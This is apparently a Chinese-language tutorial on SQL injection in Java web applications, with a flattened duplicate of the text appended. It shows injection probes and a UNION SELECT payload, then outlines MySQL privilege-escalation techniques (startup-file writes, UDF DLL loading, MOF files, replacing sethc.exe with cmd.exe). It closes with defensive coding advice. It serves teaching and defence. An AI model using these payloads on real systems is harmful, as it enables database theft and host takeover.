攻击JavaWeb应用[3]-SQL注入[1]
字数 996 2025-08-29 08:31:42

Java Web应用SQL注入攻击与防御详解

0x00 JDBC和ORM基础概念

核心组件

  • JDBC:Java数据库连接API,为多种关系数据库提供统一访问
  • JPA:Java持久化API,通过注解或XML描述对象-关系表映射
  • ORM:对象关系映射实现,包括:
    • Hibernate
    • MyBatis
    • OpenJPA
    • TopLink
    • EclipseJPA

数据库类型

  • 关系型数据库:MySQL、Oracle、SQL Server等
  • 非关系型数据库(NoSQL)
    • MongoDB(端口27017/28017)
    • CouchDB(5984)
    • HBase(9000)
    • Cassandra(9160)
    • Neo4j(7474)
    • Riak(8098)

0x01 JDBC中的SQL注入

典型注入示例

String sql = "SELECT * from corps where id = "+id;  // 直接拼接SQL导致注入

注入测试案例

  1. 正常查询:id=2
  2. 布尔测试:
    • id=2 and 1=1 (返回结果)
    • id=2 and 1=2 (无结果)
  3. 字段数探测:order by 4 (成功) vs order by 5 (失败)
  4. 联合查询:2 and 1=2 union select version(),user(),database(),5

防御方案:预编译

String sql = "SELECT * from corps where id = ?";
PreparedStatement pstt = conn.prepareStatement(sql);
pstt.setObject(1, id);

0x02 Web平台SQL注入实战

MySQL信息收集技术

  1. information_schema利用

    -- 查找包含user关键字的表
    SELECT TABLE_NAME FROM information_schema.TABLES 
    WHERE TABLE_NAME LIKE '%user%' AND TABLE_SCHEMA = database();
    
    -- 查找包含user关键字的列
    SELECT TABLE_SCHEMA, TABLE_NAME, COLUMN_NAME 
    FROM information_schema.COLUMNS WHERE COLUMN_NAME LIKE '%user%';
    
  2. 数据导出技术

    • 使用CONCATGROUP_CONCAT显示数据
    • 使用INTO OUTFILE导出数据:
      SELECT * FROM corps INTO OUTFILE '/path/to/file.txt'
      

MySQL提权技术

  1. 写启动项

    SELECT 0x6E6574... INTO OUTFILE 'C:/启动目录/1.bat'
    
  2. UDF提权

    • 查找插件目录:SELECT @@plugin_dir
    • 导出DLL:
      SELECT CONVERT(0x4D5A..., BINARY) INTO DUMPFILE '/plugin_dir/udf.dll'
      
    • 创建函数(需命令行执行):
      CREATE FUNCTION sys_exec RETURNS STRING SONAME 'udf.dll'
      
  3. MOF提权

    SELECT CHAR(...) INTO DUMPFILE 'c:/windows/system32/wbem/mof/nullevts.mof'
    
  4. sethc替换

    CREATE TABLE mix_cmd(cmd LONGBLOB);
    INSERT INTO mix_cmd VALUES(LOAD_FILE('c:/windows/system32/cmd.exe'));
    SELECT * FROM mix_cmd INTO DUMPFILE 'c:/windows/system32/sethc.exe';
    

0x03 防御最佳实践

安全编码

  1. 始终使用预编译

    String sql = "SELECT * FROM users WHERE username = ?";
    PreparedStatement stmt = conn.prepareStatement(sql);
    stmt.setString(1, username);
    
  2. 输入验证

    // 对于数字型参数
    int id = Integer.parseInt(request.getParameter("id"));
    
  3. 安全查询构建

    // 使用条件构建器安全拼接SQL
    StringBuilder sql = new StringBuilder("SELECT * FROM table WHERE 1=1");
    List<Object> params = new ArrayList<>();
    
    if(condition) {
        sql.append(" AND column = ?");
        params.add(value);
    }
    

防御进阶

  1. 最小权限原则:数据库账户仅授予必要权限
  2. 错误处理:避免显示详细错误信息
  3. WAF部署:作为纵深防御的一部分
  4. ORM安全使用:即使使用Hibernate/MyBatis也要注意避免原生SQL拼接

附录:常见易受攻击点

  1. 文章/分类展示页面
  2. 用户注册/登录处
  3. 搜索功能
  4. 数据统计/报表
  5. 下拉选择框
  6. 密码找回功能
  7. 复杂业务逻辑处

通过深入理解这些攻击技术和防御措施,开发者可以构建更安全的Java Web应用,有效防范SQL注入风险。

Java Web应用SQL注入攻击与防御详解 0x00 JDBC和ORM基础概念 核心组件 JDBC :Java数据库连接API,为多种关系数据库提供统一访问 JPA :Java持久化API,通过注解或XML描述对象-关系表映射 ORM :对象关系映射实现,包括: Hibernate MyBatis OpenJPA TopLink EclipseJPA 数据库类型 关系型数据库 :MySQL、Oracle、SQL Server等 非关系型数据库(NoSQL) : MongoDB(端口27017/28017) CouchDB(5984) HBase(9000) Cassandra(9160) Neo4j(7474) Riak(8098) 0x01 JDBC中的SQL注入 典型注入示例 注入测试案例 正常查询: id=2 布尔测试: id=2 and 1=1 (返回结果) id=2 and 1=2 (无结果) 字段数探测: order by 4 (成功) vs order by 5 (失败) 联合查询: 2 and 1=2 union select version(),user(),database(),5 防御方案:预编译 0x02 Web平台SQL注入实战 MySQL信息收集技术 information_ schema利用 : 数据导出技术 : 使用 CONCAT 和 GROUP_CONCAT 显示数据 使用 INTO OUTFILE 导出数据: MySQL提权技术 写启动项 : UDF提权 : 查找插件目录: SELECT @@plugin_dir 导出DLL: 创建函数(需命令行执行): MOF提权 : sethc替换 : 0x03 防御最佳实践 安全编码 始终使用预编译 : 输入验证 : 安全查询构建 : 防御进阶 最小权限原则 :数据库账户仅授予必要权限 错误处理 :避免显示详细错误信息 WAF部署 :作为纵深防御的一部分 ORM安全使用 :即使使用Hibernate/MyBatis也要注意避免原生SQL拼接 附录:常见易受攻击点 文章/分类展示页面 用户注册/登录处 搜索功能 数据统计/报表 下拉选择框 密码找回功能 复杂业务逻辑处 通过深入理解这些攻击技术和防御措施,开发者可以构建更安全的Java Web应用,有效防范SQL注入风险。